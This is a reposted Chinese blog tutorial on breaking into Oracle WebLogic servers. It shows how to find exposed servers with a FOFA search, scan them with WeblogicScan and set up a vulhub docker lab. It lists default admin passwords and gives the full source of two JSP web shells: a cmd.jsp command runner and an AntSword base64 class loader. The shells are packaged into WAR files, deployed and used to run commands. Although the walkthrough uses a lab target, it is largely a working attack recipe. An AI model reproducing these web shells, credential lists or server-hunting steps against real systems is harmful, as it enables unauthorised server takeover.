0


Weblogic漏洞

文章目录

Weblogic漏洞

  • 预备知识

中间件定义:中间件(middleware)是基础软件的一大类,属于可复用软件的范畴。顾名思义,中间件处于操作系统软件与用户的应用软件的中间。

中间件在操作系统、网络和数据库之上,应用软件的下层,总的作用是为处于自己上层的应用软件提供运行与开发的环境,帮助用户灵活、高效地开发和集成复杂的应用软件

weblogic简介

weblogic是美国甲骨文(Oracle)公司开发的一款适用于云环境和传统环境的应用服务中间件,确切来说是一个基于JavaEE框架的中间件,它提供了一个现代轻型开饭平台,用于开发,集成,部署和管理大型分布式web应用,网络应用和数据库应用的java应用服务器。将加吧的动态功能和java entrprise标准的安全性引入大型网络应用的开发,集成,部署和管理之中。

Weblogic特征

  1. 默认端口:7001
  2. web界面:Error 404–Not Found
  3. 控制后台:http://ip:7001/console

Weblogic历史漏洞发现

1.获取资产

shodan, fofa, zoomeye等

fofa : app=“BEA-Weblogic-Server”

请添加图片描述

2. 批量扫描脚本

  • WeblogicScan

https://github.com/rabbitmask/WeblogicScan

下载压缩包解压,文件夹中的weblogicscan.py是需要在终端运行的文件

第一步需要执行的命令(安装依赖包):python -m pip install -r requirements.txt

请添加图片描述

3. Weblogic漏洞环境搭建

docker pull vulhub/weblogic:10.3.6.0-2017

docker run -dit -p 7001:7001 vulhub/weblogic:10.3.6.0-2017

请添加图片描述

4. 扫描靶机

python WeblogicScan.py -u 192.168.1.149 -p 7001

请添加图片描述

工具已经扫描出所有的weblogic的漏洞

使用浏览器访问界面

请添加图片描述

Weblogic历史漏洞利用

1.weblogic弱口令

账号:weblogic

密码:Oracle@123

请添加图片描述

Weblogic 默认口令:https://cirt.net/passwords?criteria=weblogic

  1. system/password
  2. weblogic/weblogic
  3. admin/security
  4. joe/password
  5. mary/password
  6. system/security
  7. wlcsystem/wlcsystem
  8. wlpisystem/wlpisystem
  • cmd.jsp

<%@ page import=“java.io.*” %> <% String cmd =
request.getParameter(“cmd”); String output = “”; if(cmd !=
null) { String s = null; try { Process p =
Runtime.getRuntime().exec(cmd); BufferedReader sI = new
BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s +“\r\n”; } }
catch(IOException e) { e.printStackTrace(); } }
out.println(output);%>

2. 命令打包war包

jar -cvf cmd.war cmd.jsp

请添加图片描述

3.部署war包

登录后台,选择部署,进入如下见面

请添加图片描述

上传war包之后,一直下一步就可以完成war包的部署

请添加图片描述

4. GetShell

完成前面的操作后在浏览器上访问

http://192.168.1.149:7001/cmd/cmd.jsp?cmd=ls

请添加图片描述

war包用法

cmd.jsp?cmd=需要执行的命令

  • 例如查看系统当前用户

请添加图片描述

当前上传的脚本war包是简单脚本,无法连接蚁剑去管理

4.1 蚁剑-jsp4ant.jsp

<%!classUextendsClassLoader{U(ClassLoader c){super(c);}publicClassg(byte[] b){returnsuper.defineClass(b,0, b.length);}}publicbyte[]base64Decode(String str)throwsException{try{Class clazz =Class.forName("sun.misc.BASE64Decoder");return(byte[]) clazz.getMethod("decodeBuffer",String.class).invoke(clazz.newInstance(), str);}catch(Exception e){Class clazz =Class.forName("java.util.Base64");Object decoder = clazz.getMethod("getDecoder").invoke(null);return(byte[]) decoder.getClass().getMethod("decode",String.class).invoke(decoder, str);}}%><%String cls = request.getParameter("ant");if(cls !=null){newU(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);}%>

同理生成war包上传部署

  • 使用蚁剑连接

请添加图片描述

请添加图片描述


本文转载自: https://blog.csdn.net/weixin_45933944/article/details/126714258
版权归原作者 Zst4rs 所有, 如有侵权,请联系我们删除。

“Weblogic漏洞”的评论:

还没有评论